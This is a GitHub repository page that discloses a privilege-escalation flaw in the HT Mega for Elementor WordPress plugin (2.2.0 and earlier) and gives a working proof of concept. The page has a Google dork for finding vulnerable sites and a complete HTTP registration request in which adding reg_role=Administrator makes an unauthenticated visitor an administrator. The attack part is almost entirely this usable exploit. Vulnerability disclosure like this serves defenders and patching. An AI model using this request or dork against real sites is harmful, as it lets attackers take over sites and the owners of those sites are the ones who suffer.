Skip to content

"HT Mega – Absolute Addons for Elementor <= 2.2.0 - Missing Authorization to Privilege Escalation"

License

Notifications You must be signed in to change notification settings

random-robbie/ht-mega

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

4 Commits
 
 
 
 

Repository files navigation

ht-mega

"HT Mega – Absolute Addons for Elementor <= 2.2.0 - Missing Authorization to Privilege Escalation"

The HT Mega plugin for WordPress is vulnerable to Missing Authorization in versions up to, and including, 2.2.0. This is due to missing validation of the reg_role parameter on the htmega_ajax_register function. This makes it possible for unauthenticated attackers to create administrator accounts.

Info

https://www.wordfence.com/threat-intel/vulnerabilities/id/46f3cc62-c2d8-45af-bb92-c2040789cbc0

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

google-dork: inurl:"/wp-content/plugins/ht-mega-for-elementor/"

Requires registration to be enabled.

Proof of Concept

POST /my-account/ HTTP/2
Host: wordpress.lan
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:109.0) Gecko/20100101 Firefox/112.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 165
Origin: http://wordpress.lan
Referer: http://wordpress.lan/my-account/
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers
Connection: close

email=robbie@wordpress.lan&password=testest123%21&woocommerce-register-nonce=bfg37lz911&_wp_http_referer=%2Fmy-account%2F&register=Register&reg_role=Administrator

Intercept the registion and then just add reg_role=Administrator on the end and your now admin

About

"HT Mega – Absolute Addons for Elementor <= 2.2.0 - Missing Authorization to Privilege Escalation"

Resources

License

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published